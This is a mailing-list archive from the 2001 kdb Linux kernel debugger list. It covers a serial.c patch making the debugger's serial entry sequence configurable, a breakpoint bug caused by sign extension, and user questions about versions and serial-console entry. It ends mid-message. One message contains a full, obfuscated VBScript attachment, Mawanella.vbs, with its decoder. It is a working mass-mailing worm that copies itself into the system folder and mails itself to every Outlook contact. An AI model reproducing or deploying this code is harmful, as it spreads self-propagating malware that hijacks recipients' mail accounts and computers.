14 May 2001 23:32:02 -0700 (PDT) mail_from (kaos@melbourne.sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA17122; Tue, 15 May 2001 16:19:46 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: William Kucharski cc: kdb@oss.sgi.com Subject: Re: kdb serial entry sequence In-reply-to: Your message of "Mon, 14 May 2001 18:45:58 CST." <200105150045.f4F0jwS25671@skywarn.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 15 May 2001 16:19:46 +1000 Message-ID: <30668.989907586@kao2.melbourne.sgi.com> Sender: owner-kdb@oss.sgi.com Precedence: bulk Thanks to a suggestion by William Kucharski (like all good ideas, this one is obviously correct), the kdb serial console sequence is now tweakable. The patch below is incremental on kdb-v1.8-2.4.5-pre1 and will be included in the next kdb patch set. Index: 5-pre1.2/drivers/char/serial.c --- 5-pre1.2/drivers/char/serial.c Thu, 26 Apr 2001 16:48:50 +1000 kaos (linux-2.4/b/c/22_serial.c 1.4.1.2 644) +++ 5-pre1.2(w)/drivers/char/serial.c Tue, 15 May 2001 16:17:03 +1000 kaos (linux-2.4/b/c/22_serial.c 1.4.1.2 644) @@ -212,16 +212,25 @@ static char *serial_revdate = "2001-03-2 #if defined(CONFIG_KDB) #include /* - * kdb_serial_line records the serial line number of the - * first serial console. kdb_info will be set upon receipt - * of the first ^A (which cannot happen until the port is - * opened and the interrupt handler attached). To enter - * kdb before this on a serial console-only system, you must - * use the 'kdb=early' flag to lilo and set the appropriate - * breakpoints. + * kdb_serial_line records the serial line number of the first serial console. + * NOTE: The kernel ignores characters on the serial line unless a user space + * program has opened the line first. To enter kdb before user space has opened + * the serial line, you can use the 'kdb=early' flag to lilo and set the + * appropriate breakpoints. + * + * kdb_serial_str[] is the sequence that the user must enter on the serial + * console to invoke kdb. It can be a single character such as "\001" + * (control-A) or multiple characters such as "\eKdB". NOTE: All except the + * last character are passed through to the application reading from the serial + * console. + * + * I tried to make the sequence a CONFIG_ option but most of CML1 cannot cope + * with '\' in strings, CML2 should be able to do it. KAO. */ static int kdb_serial_line = -1; +static char kdb_serial_str[] = "\001"; +static char *kdb_serial_ptr = kdb_serial_str; #endif /* CONFIG_KDB */ /* * All of the compatibilty code so we can compile serial.c against @@ -581,11 +590,15 @@ static _INLINE_ void receive_chars(struc do { ch = serial_inp(info, UART_RX); #if defined(CONFIG_KDB) - if ((info->line == kdb_serial_line) - && (ch == 1) /* CNTRL-A */ - && kdb_on) { - kdb(KDB_REASON_KEYBOARD, 0, (kdb_eframe_t)regs); - break; + if ((info->line == kdb_serial_line) && kdb_on) { + if (ch == *kdb_serial_ptr) { + if (!(*++kdb_serial_ptr)) { + kdb(KDB_REASON_KEYBOARD, 0, (kdb_eframe_t)regs); + kdb_serial_ptr = kdb_serial_str; + break; + } + } else + kdb_serial_ptr = kdb_serial_str; } #endif /* CONFIG_KDB */ if (tty->flip.count >= TTY_FLIPBUF_SIZE) From owner-kdb@oss.sgi.com Tue May 15 21:56:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4G4ueS29295 for kdb-outgoing; Tue, 15 May 2001 21:56:40 -0700 Received: from pneumatic-tube.sgi.com (pneumatic-tube.sgi.com [204.94.214.22]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4G4udF29292 for ; Tue, 15 May 2001 21:56:39 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by pneumatic-tube.sgi.com (980327.SGI.8.8.8-aspam/980310.SGI-aspam) via SMTP id WAA08295 for ; Tue, 15 May 2001 22:07:34 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA24837; Wed, 16 May 2001 14:55:19 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: kdb@oss.sgi.com cc: linux-kernel@vger.kernel.org Subject: kdb v1.8 - 2.4.5-pre2 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 16 May 2001 14:55:19 +1000 Message-ID: <23198.989988919@kao2.melbourne.sgi.com> Sender: owner-kdb@oss.sgi.com Precedence: bulk I just uploaded kdb v1.8 against 2.4.5-pre2[*]. The only kdb change is the ability to adjust the activation sequence on a serial line. If you dislike using control-A to enter kdb then change kdb_serial_str in drivers/char/serial.c. [*] http://oss.sgi.com/projects/kdb/download/ix86/. From owner-kdb@oss.sgi.com Sat May 19 12:41:18 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4JJfIZ32680 for kdb-outgoing; Sat, 19 May 2001 12:41:18 -0700 Received: from mail.hereuare.com ([198.144.203.4]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4JJfGF32677 for ; Sat, 19 May 2001 12:41:16 -0700 Received: from clarkd (adsl-63-194-82-174.dsl.snfc21.pacbell.net [63.194.82.174]) (authenticated) by mail.hereuare.com (8.11.2/8.10.2) with ESMTP id f4JJifg27763 for ; Sat, 19 May 2001 12:44:41 -0700 From: "Clark Dong" To: "KDB Mail List" Subject: Mawanella Date: Sat, 19 May 2001 12:43:56 -0700 Message-ID: <028401c0e09c$0a89d8e0$0200a8c0@clarkd> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0285_01C0E061.5E2B00E0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-kdb@oss.sgi.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0285_01C0E061.5E2B00E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Mawanella is one of the Sri Lanka's Muslim Village ------=_NextPart_000_0285_01C0E061.5E2B00E0 Content-Type: application/octet-stream; name="Mawanella.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Mawanella.vbs" =0A= Execute = UnCode("Ts%Jwwtw%Wjxzrj%Sj}y=0FWjr%44%N%mfyj%Rf|fsjqqf%nshnijsy=0FXjy%\dX= %B%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0FXjy%kxt%B%HwjfyjTgojhy-'Xhwnuynsl3Knqj= X~xyjrTgojhy'.=0Fxjy%knqj%B%kxt3TujsYj}yKnqj-\Xhwnuy3XhwnuyKzqqsfrj16.=0F= {gxhtu~Bknqj3WjfiFqq=0Frfns-.=0F=0Fxzg%rfns-.=0F%%%Ts%Jwwtw%Wjxzrj%Sj}y=0F= %%%inr%|xhw1ww1%xywRxl=0F%%%xjy%|xhwBHwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0F%%%%= %%Xjy%inw|ns%B%kxt3LjyXujhnfqKtqijw-5.=0F%%%%%%Xjy%inwx~xyjr%B%kxt3LjyXuj= hnfqKtqijw-6.=0F%%%%%%Xjy%inwyjru%B%kxt3LjyXujhnfqKtqijw-7.=0F%%%%%%Xjy%h= Knqj%B%kxt3LjyKnqj-\Xhwnuy3XhwnuyKzqqSfrj.=0F%%%%%%hKnqj3Htu~-inwx~xyjr+'= aRf|fsjqqf3{gx'.=0F%%%%%=0FXjy%TzyqttpF%B%HwjfyjTgojhy-'Tzyqttp3Fuuqnhfyn= ts'.=0FNk%TzyqttpF%B%'Tzyqttp'%Ymjs=0F%%%Xjy%RfunBTzyqttpF3LjySfrjXufhj-'= RFUN'.=0F%%%Xjy%FiiQnxyxBRfun3FiiwjxxQnxyx=0F%%%Ktw%Jfhm%QnxyNsij}%Ns%Fii= Qnxyx=0F%%%%%%%Nk%QnxyNsij}3FiiwjxxJsywnjx3Htzsy%AC%5%Ymjs=0F=0E%%Htsyfhy= Htzsy]%B%QnxyNsij}3FiiwjxxJsywnjx3Htzsy=0F=0E%%Ktw%HtzsyB%6%Yt%HtsyfhyHtz= sy]=0F%%%%%%%%%%%%%%Xjy%Rfnq]%B%TzyqttpF3HwjfyjNyjr-5.=0F=0E%%%%%%Xjy%Hts= yfhy]%B%QnxyNsij}3FiiwjxxJsywnjx-Htzsy.=0F%%%%%%%%%%%%%%,rxlgt}%htsyfhy}3= fiiwjxx=0F%%%%%%%%%%%%%%,Rfnq}3Wjhnunjsyx3Fii-Htsyfhy]3Fiiwjxx.=0F%%%%%%%= %%%%%%%Rfnq]3Yt%B%Htsyfhy]3Fiiwjxx=0F=0E%%%%%%Rfnq]3Xzgojhy%B%'Rf|fsjqqf'= =0F=0E%%%%%%Rfnq]3Gti~%B%{ghwqk+'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxq= nr%[nqqflj'+{ghwqk=0F=0E%%%%%%,Xjy%FyyfhmrjsyBRfnq]3Fyyfhmrjsyx=0F=0E%%%%= %%,Fyyfhmrjsy3Fii%inwx~xyjr%+%'aRf|fsjqqf3{gx'=0F=0E%%%%%%,Rfnq}3Fyyfhmrj= syx3Fii-inwx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq}3Fyyfhmrjsyx3Fii-in= wx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq]3IjqjyjFkyjwXzgrny%B%Ywzj=0F=0E= %%%%%%Nk%Rfnq]3Yt%AC%''%Ymjs=0F=0E=0E%Rfnq]3Xjsi=0F%=0E%%%%%%Jsi%Nk=0F%%%= %%%%%%%%Sj}y=0F%%%%%%%Jsi%Nk=0F%%%Sj}y=0FJqxj=0F%%%rxlGt}%'Uqjfxj%Ktw|fwi= %ymnx%yt%j{jw~tsj'%=0FJsi%nk=0F=0FxywRxlB%'%%.%%%%%%%%%%%%%%%%%%%%-'%+%{g= hwqk=0FxywRxlB%xywRxl%+%'-%%.%%%%%%%%%%%%%%%%-%%%.%%'%+%{ghwqk=0FxywRxlB%= xywRxl%+%'%%-%%%%.%%%%%%%%%%-%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%-%%%.= %%%%%%-%%%%%%%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%222222222222222222222= 2222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%4%%%%%%%-%%%-%%%%-%%%%%%4a'%+%{ghwq= k=0FxywRxlB%xywRxl%+%'%%4%%%%%%%%%%-%%%%%%%%%%%%%4%%a'%+%{ghwqk=0FxywRxlB= %xywRxl%+%'%4%%%%%%%%%%%%-%-%%%%%%%%%4%%%%a'%+%{ghwqk=0FxywRxlB%xywRxl%+%= '%22222222222222222222222222222222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%%%= %%%%%%%%%%%%222%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%222= 22%%%%%%%%=81%%%=81%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%= =81%%%%%=81%%%%%%%%222%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%= =81%=81%%%%%=81%%%%%%%%%%%%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%= +%'%22222222222222222222222222222222'%+%{ghwqk=0F=0FxywRxlB%xywRxl%+%'Rf|= fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj3'%+%{ghwqk%=0FxywRxlB%xyw= Rxl%+%'Ymnx%gwzyfq%nshnijsy%mfuujsji%mjwj%7%Rzxqnr%Rtxvzjx%+%655%Xmtux%fw= j%gzwsy3'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%mfy%ymnx%nshnijsy1%\mfy%fgtzy%~= tzD%N%hfs%ijxywt~%~tzw%htruzyjw'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%inis,y%i= t%ymfy%gjhfzxj%N%fr%f%ujfhj2qt{nsl%hnyn=7Fjs3'=0F%=0Frxlgt}%xywRxl11'Rf|f= sjqqf'=0F=0FJsi%xzg=0F=0F%=0F")=0A= Function UnCode(sCoded)=0A= For I=3D1 To Len(sCoded)=0A= CurChar=3D Mid(sCoded, I, 1)=0A= If Asc(CurChar) =3D 15 Then=0A= strChr=3D Chr(10)=0A= Else=0A= strChr =3D chr(asc(CurChar)-5)=0A= End if=0A= UnCode =3D UnCode & strChr=0A= Next=0A= End Function =0A= ------=_NextPart_000_0285_01C0E061.5E2B00E0-- From owner-kdb@oss.sgi.com Mon May 21 06:27:42 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4LDRgY09240 for kdb-outgoing; Mon, 21 May 2001 06:27:42 -0700 Received: from andvari.office (dialup-17-01.netcomuk.co.uk [194.42.232.65]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4LDRbF09237 for ; Mon, 21 May 2001 06:27:38 -0700 Received: (from phil@localhost) by andvari.office (8.9.3/8.9.3) id OAA01135 for kdb@oss.sgi.com; Mon, 21 May 2001 14:07:17 +0100 Date: Mon, 21 May 2001 14:07:17 +0100 From: Phil Fisher Message-Id: <200105211307.OAA01135@andvari.office> To: kdb@oss.sgi.com Subject: KDB Wishlist Sender: owner-kdb@oss.sgi.com Precedence: bulk Dear Keith I notice from the 14 May Kernel Traffic Posting that you would be interested in persons to take on various tasks. I have not read all your material but I am interested in trying to improve my systems programming knowledge of Linux. I would be interested in doing the keyboard invocation part. I would however like to do it on a 2.2.18 kernel -- is that a major issue? Regards Phil. -- phil.fisher@treepax.co.uk http://www.treepax.co.uk (T) +44 191 516 6355 (F) +44 191 516 6354 Treepax Ltd., Sunderland Enterprise Park, Sunderland, SR5 2TA, UK From owner-kdb@oss.sgi.com Mon May 21 06:35:07 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4LDZ7009418 for kdb-outgoing; Mon, 21 May 2001 06:35:07 -0700 Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4LDZ4F09415 for ; Mon, 21 May 2001 06:35:05 -0700 Received: (qmail 24293 invoked from network); 21 May 2001 13:35:01 -0000 Received: from ocs3.ocs-net (192.168.255.3) by mail.ocs.com.au with SMTP; 21 May 2001 13:35:01 -0000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: Phil Fisher cc: kdb@oss.sgi.com Subject: Re: KDB Wishlist In-reply-to: Your message of "Mon, 21 May 2001 14:07:17 +0100." <200105211307.OAA01135@andvari.office> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 21 May 2001 23:35:00 +1000 Message-ID: <12582.990452100@ocs3.ocs-net> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Mon, 21 May 2001 14:07:17 +0100, Phil Fisher wrote: >I notice from the 14 May Kernel Traffic Posting that you would be interested >in persons to take on various tasks. I have not read all your material >but I am interested in trying to improve my systems programming knowledge >of Linux. I would be interested in doing the keyboard invocation part. Whatever you like to work on would be good. Somebody else has volunteered to work on adding width and count to mm and md commands. >I would however like to do it on a 2.2.18 kernel -- is that a major issue? It has to be a 2.4 kernel and preferably a current 2.4 kernel. SGI are not working on 2.2 kernels, there is an old kdb patch for 2.2 but it is unsupported. From owner-kdb@oss.sgi.com Wed May 23 05:50:41 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4NCofv06049 for kdb-outgoing; Wed, 23 May 2001 05:50:41 -0700 Received: from mserv1e.vianw.co.uk (mserv1e.vianw.co.uk [195.102.240.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4NCoeF06045 for ; Wed, 23 May 2001 05:50:40 -0700 Received: from [194.119.144.178] (helo=m4exch.m4data.co.uk) by mserv1e.vianw.co.uk with esmtp (Exim 3.22 #5) id 152Y61-0001qC-00 for kdb@oss.sgi.com; Wed, 23 May 2001 13:50:37 +0100 Received: by M4EXCH with Internet Mail Service (5.5.2650.21) id ; Wed, 23 May 2001 13:50:36 +0100 Message-ID: <52AF3CB987C7D41183CD0090271F67C3078FB5@m4eng.m4data.co.uk> From: Simon Munton To: kdb@oss.sgi.com Subject: Problem with breakpoints Date: Wed, 23 May 2001 13:45:38 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-kdb@oss.sgi.com Precedence: bulk Hi, I was trying to use kdb (kdb-v1.8-2.4.5-pre2.gz, x86 architecture) to set breakpoints in a module I'm writing, but whenever the breakpoint was hit, kdb came up reporting an int3 Oops. I eventually tracked the problem down to the fact that I was using a libbfd from a binutils configured with 64 bit support enabled. This in turn meant that bp_addr in kdb_breakpoints[] (of type bfd_vma) was an unsigned long long. Unfortunately, the type of the instruction pointer, eip, which is compared against bp_addr in kdba_bp_trap(), is a long. (Its declaration is in asm/ptrace.h). The compiler converts the long to an unsigned long long by sign extending it. The breakpoints I was setting had the top bit set, which meant that after sign extension, kdb didn't think that the breakpoint belonged to it. I made it work for me by casting eip to be an unsigned long, at line 319 in kdba_bp.c: if (bp->bp_addr == ((unsigned long)ef->eip - bp->bp_adjust)) { Are there any other consequences of having 64 bit support enabled in binutils that will affect kdb? (eg I'm thinking of format strings like kdb_bfd_vma_fmt). Regards, Simon Munton From owner-kdb@oss.sgi.com Wed May 23 14:53:46 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4NLrkV25063 for kdb-outgoing; Wed, 23 May 2001 14:53:46 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4NLrjF25059 for ; Wed, 23 May 2001 14:53:45 -0700 Received: from www20.ureach.com (IDENT:root@www20.ureach.com [172.16.2.48]) by ureach.com (8.9.1/8.8.5) with ESMTP id RAA31591 for ; Wed, 23 May 2001 17:53:40 -0400 Received: (from nobody@localhost) by www20.ureach.com (8.9.3/8.9.1) id RAA22700; Wed, 23 May 2001 17:53:40 -0400 Date: Wed, 23 May 2001 17:53:40 -0400 Message-Id: <200105232153.RAA22700@www20.ureach.com> To: kdb@oss.sgi.com From: Kapish K Reply-to: Subject: kdb prompt?? Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-vsuite-type: e Sender: owner-kdb@oss.sgi.com Precedence: bulk Hello, How do I get to break into kdb on a live system? is it by using the pause key ( I think I read that in the documentation or something )...but what if I am running the target machine console via a serial port? the pause key does not seem to work...of course when I simulate a panic, the system goes into kdb..so, that's okay... buI would liek to know how to enter it at any point in time... any pointers would be most welcome.. Thanks ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag From owner-kdb@oss.sgi.com Wed May 23 15:08:02 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4NM82325491 for kdb-outgoing; Wed, 23 May 2001 15:08:02 -0700 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4NM82F25488 for ; Wed, 23 May 2001 15:08:02 -0700 Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id PAA17484; Wed, 23 May 2001 15:10:39 -0700 (PDT) From: slurn@verisign.com Received: from slurndal-lnx.verisign.com ([10.25.27.123]) by postal-gw2.verisign.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id KZT236WS; Wed, 23 May 2001 15:08:01 -0700 Received: by slurndal-lnx.verisign.com; Wed, 23 May 2001 15:08:00 -0700 Message-Id: <200105232208.PAA30043@slurndal-lnx.verisign.com> Subject: Re: kdb prompt?? To: kapish@ureach.com Date: Wed, 23 May 2001 15:08:00 -0700 (PDT) Cc: kdb@oss.sgi.com In-Reply-To: <200105232153.RAA22700@www20.ureach.com> from "Kapish K" at May 23, 2001 05:53:40 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-kdb@oss.sgi.com Precedence: bulk > > Hello, > How do I get to break into kdb on a live system? is it by using > the pause key ( I think I read that in the documentation or > something )...but what if I am running the target machine > console via a serial port? the pause key does not seem to > work...of course when I simulate a panic, the system goes into > kdb..so, that's okay... buI would liek to know how to enter it > at any point in time... > any pointers would be most welcome.. >From the serial port, control-A is the default accessor. Note that control-A won't be accepted until the interrupt routine has been attached, which doesn't happen until the first application program (e.g. mingetty or getty) opens the serial port. If you need to break in via the serial port prior to that point, you'll have to use the early kdb entry mechanism and establish the appropriate breakpoint(s). scott > Thanks From owner-kdb@oss.sgi.com Wed May 23 17:22:45 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4O0Mjd28791 for kdb-outgoing; Wed, 23 May 2001 17:22:45 -0700 Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4O0MhF28785 for ; Wed, 23 May 2001 17:22:43 -0700 Received: (qmail 14348 invoked from network); 24 May 2001 00:22:39 -0000 Received: from ocs3.ocs-net (192.168.255.3) by mail.ocs.com.au with SMTP; 24 May 2001 00:22:39 -0000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: kapish@ureach.com cc: kdb@oss.sgi.com Subject: Re: kdb prompt?? In-reply-to: Your message of "Wed, 23 May 2001 17:53:40 -0400." <200105232153.RAA22700@www20.ureach.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 24 May 2001 10:22:38 +1000 Message-ID: <25994.990663758@ocs3.ocs-net> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Wed, 23 May 2001 17:53:40 -0400, Kapish K wrote: > How do I get to break into kdb on a live system? is it by using >the pause key ( I think I read that in the documentation or >something )...but what if I am running the target machine >console via a serial port? man Documentation/kdb/kdb.mm, see Getting Started. From owner-kdb@oss.sgi.com Wed May 23 20:56:42 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4O3ugP03422 for kdb-outgoing; Wed, 23 May 2001 20:56:42 -0700 Received: from dcmtechdom.dcmtech.co.in ([216.6.80.34]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4O3uFF03415 for ; Wed, 23 May 2001 20:56:39 -0700 Received: by dcmtechdom.dcmtech.co.in with Internet Mail Service (5.5.2653.19) id ; Thu, 24 May 2001 09:30:23 +0530 Message-ID: <7FADCB99FC82D41199F9000629A85D1A553E4A@dcmtechdom.dcmtech.co.in> From: Nitin Dhingra To: "'kdb@oss.sgi.com'" Subject: KDB: How Can you "C"??? Date: Thu, 24 May 2001 09:30:22 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-kdb@oss.sgi.com Precedence: bulk Is there any latest version that allows to view the single stepping In "C" Language instead of "Assembly"?? If not then how would you distinguish whether the assembly statements belong to your module or its calling some other kernel function like schedule() ??? From owner-kdb@oss.sgi.com Wed May 23 21:43:46 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4O4hkP04847 for kdb-outgoing; Wed, 23 May 2001 21:43:46 -0700 Received: from pneumatic-tube.sgi.com (pneumatic-tube.sgi.com [204.94.214.22]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4O4hEF04841 for ; Wed, 23 May 2001 21:43:14 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by pneumatic-tube.sgi.com (980327.SGI.8.8.8-aspam/980310.SGI-aspam) via SMTP id VAA08560 for ; Wed, 23 May 2001 21:43:16 -0700 (PDT) mail_from (kaos@melbourne.sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA22930; Thu, 24 May 2001 14:41:52 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: Nitin Dhingra cc: "'kdb@oss.sgi.com'" Subject: Re: KDB: How Can you "C"??? In-reply-to: Your message of "Thu, 24 May 2001 09:30:22 +0530." <7FADCB99FC82D41199F9000629A85D1A553E4A@dcmtechdom.dcmtech.co.in> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 24 May 2001 14:41:52 +1000 Message-ID: <1018.990679312@kao2.melbourne.sgi.com> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Thu, 24 May 2001 09:30:22 +0530, Nitin Dhingra wrote: >Is there any latest version that allows to view the single stepping >In "C" Language instead of "Assembly"?? No. >If not then how would you distinguish whether the assembly statements >belong to your module or its calling some other kernel function like >schedule() ??? kdb prints the function name. From owner-kdb@oss.sgi.com Wed May 23 23:31:01 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4O6V1I06768 for kdb-outgoing; Wed, 23 May 2001 23:31:01 -0700 Received: from michael.checkpoint.com (michael.checkpoint.com [199.203.73.68]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4O6UwF06764 for ; Wed, 23 May 2001 23:30:59 -0700 Received: from SHAGWELL (localhost [127.0.0.1]) by michael.checkpoint.com (8.9.3/8.9.1) with SMTP id JAA06884 for ; Thu, 24 May 2001 09:30:50 +0300 (IDT) From: "Moshe Ashkenazi" To: Subject: kdb version Date: Thu, 24 May 2001 09:35:19 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-kdb@oss.sgi.com Precedence: bulk Hi, List - I'm using kernel 2.2.19/18. Does any one knows what is the right version of kdb for my kernel & from where can I have it ? Thanks, From owner-kdb@oss.sgi.com Wed May 23 23:45:22 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4O6jMx07072 for kdb-outgoing; Wed, 23 May 2001 23:45:22 -0700 Received: from yog-sothoth.sgi.com (eugate.sgi.com [192.48.160.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4O6jKF07069 for ; Wed, 23 May 2001 23:45:20 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by yog-sothoth.sgi.com (980305.SGI.8.8.8-aspam-6.2/980304.SGI-aspam-europe) via SMTP id IAA696581 for ; Thu, 24 May 2001 08:45:12 +0200 (CEST) mail_from (kaos@melbourne.sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA23592; Thu, 24 May 2001 16:43:48 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: "Moshe Ashkenazi" cc: kdb@oss.sgi.com Subject: Re: kdb version In-reply-to: Your message of "Thu, 24 May 2001 09:35:19 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 24 May 2001 16:43:48 +1000 Message-ID: <4508.990686628@kao2.melbourne.sgi.com> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Thu, 24 May 2001 09:35:19 +0200, "Moshe Ashkenazi" wrote: >I'm using kernel 2.2.19/18. >Does any one knows what is the right version of kdb for my kernel & >from where can I have it ? SGI do not support kdb for 2.2 kernels, all our work is on 2.4. ftp://oss.sgi.com:/projects/kdb/download/ix86/ contains kdb-v1.5-2.2.18.gz but I am not maintaining kdb for 2.2 kernels. If it works, fine, if not then try asking the list, somebody else might have got it working on 2.2.19. From owner-kdb@oss.sgi.com Thu May 24 00:22:36 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4O7Maa07824 for kdb-outgoing; Thu, 24 May 2001 00:22:36 -0700 Received: from michael.checkpoint.com (michael.checkpoint.com [199.203.73.68]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4O7MWF07821 for ; Thu, 24 May 2001 00:22:33 -0700 Received: from epacker3.checkpoint.com (localhost [127.0.0.1]) by michael.checkpoint.com (8.9.3/8.9.1) with ESMTP id KAA17960 for ; Thu, 24 May 2001 10:22:24 +0300 (IDT) Received: (from mberdich@localhost) by epacker3.checkpoint.com (8.9.3/8.8.7) id KAA23927 for kdb@oss.sgi.com; Thu, 24 May 2001 10:20:11 +0300 X-Authentication-Warning: epacker3.checkpoint.com: mberdich set sender to mberdich@checkpoint.com using -f Date: Thu, 24 May 2001 10:20:10 +0300 From: Micha Berdichevsky To: kdb@oss.sgi.com Subject: Re: kdb version Message-ID: <20010524102010.A23882@checkpoint.com> Mail-Followup-To: kdb@oss.sgi.com References: <4508.990686628@kao2.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4508.990686628@kao2.melbourne.sgi.com>; from kaos@melbourne.sgi.com on Thu, May 24, 2001 at 04:43:48PM +1000 X-Operating-System: Linux 2.2.14-5.0 i686 up 23 days, 23:28 X-Mailer: Mutt 1.3.17i Sender: owner-kdb@oss.sgi.com Precedence: bulk On Thu, 24 May 2001, Keith Owens wrote: > On Thu, 24 